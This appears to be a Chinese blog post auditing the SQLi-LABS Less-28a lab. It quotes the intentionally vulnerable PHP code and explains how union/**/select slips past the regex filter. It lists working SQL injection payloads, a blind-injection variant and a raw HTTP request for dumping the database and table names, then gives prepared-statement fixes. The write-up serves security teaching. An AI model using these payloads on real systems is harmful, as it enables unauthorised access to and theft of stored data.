sqli-labs-Less-28a-代码审计报告

13次阅读
没有评论

Less-28a 审计报告:union\s+select 正则过滤绕过(括号单引号,注释可用)

1. 关卡概述

项目 内容
关卡名称 Less-28a Trick with SELECT & UNION
源码路径 Less-28a/index.php
漏洞类型 SQL 注入 – 联合查询显示型/布尔盲注(union\s+select 正则可绕过,('$id') 闭合)
注入点参数 GET /Less-28a/?id=
报错/盲注 盲注(无报错回显,但联合查询结果可直接显示)
所需环境 PHP 5.x + mysql 扩展 + MySQL 5.x

2. 漏洞代码定位

文件: Less-28a/index.php

// 第 20 行:用户输入直接取出
$id=$_GET['id'];

// 第 27 行:黑名单过滤
$id= blacklist($id);

// 第 34 行:括号 + 单引号包裹
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

// 第 48 行:无报错回显
//print_r(mysql_error());

// 第 57~67 行:黑名单 —— 除 union\s+select 外全部被注释掉
function blacklist($id)
{
    //$id= preg_replace('/[\/\*]/',"", $id);
    //$id= preg_replace('/[--]/',"", $id);
    //$id= preg_replace('/[#]/',"", $id);
    //$id= preg_replace('/[ +]/',"", $id);
    //$id= preg_replace('/select/m',"", $id);
    //$id= preg_replace('/[ +]/',"", $id);
    $id= preg_replace('/union\s+select/i',"", $id);	    //Strip out spaces.
    return $id;
}

3. 漏洞分析

  • 过滤机制:实际生效的只有 /union\s+select/i(其余注释符/空格过滤被注释)。因此:
    • /*、--、# 可用;
    • 空格、+ 可用;
    • union select(带一个空格)会被正则删除;\s 也匹配换行/Tab/垂直制表符,故 union%0aselect 也会被删。
  • 绕过:
    • union/**/select——/**/ 不是 \s 空白,正则不匹配、不被删;MySQL 把 /**/ 当注释即空白,union/**/select 等价于 union select。
    • 或 union all select(插入 all 打断正则)。
  • 闭合方式:WHERE id=('$id'),用 -1') 闭合,-- - 注释尾部。
  • 盲注判定:无报错回显,但联合查询结果直接显示 Your Login name/Your Password。

4. 利用方式

步骤一:确认过滤范围

  • ?id=-1') union select 1,2,3-- - → union select 被删,语法错。
  • ?id=-1') union/**/select 1,2,3-- - → 未被删,正常返回。

步骤二:联合查询显示数据(核心 payload)

-1') union/**/select 1,2,database()-- -

拼接后:

SELECT * FROM users WHERE id=('-1') union/**/select 1,2,database()-- -') LIMIT 0,1
  • -1 无匹配行,union 结果显示 Your Login name:2、Your Password:security。

步骤三:布尔盲注(替代方案)

1') and (ascii(substr(database(),1,1))>100) and ('1

注释符/空格均可用,and 未过滤,直接可用空格。

步骤四:提取其它数据

-1') union/**/select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -

5. Yakit 重放数据包

GET /sqli-labs/Less-28a/?id=-1')%20union/**/select%201,2,database()--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

/**/ 中 /、* 为 URI 合法字符,Yakit 可直接发送;若工具严格编码,可写为 union%2f%2a%2fselect。


6. 修复建议

修复一:PDO 预处理

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();

修复二:mysqli 预处理

<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
$row = $stmt->fetch_assoc();

修复三:加固要点

  • 正则过滤防不住 union/**/select、union all select 等形态;参数化才是根治。
  • id 参数 ctype_digit()/is_numeric() 强校验。
  • 关闭报错回显,数据库最小权限。
  • 升级 PHP 7+ / 8+,移除 mysql_*。

附:验证与复现说明

  • 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
  • 复现前提:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、PHP 5.x + mysql 扩展。
正文完
 0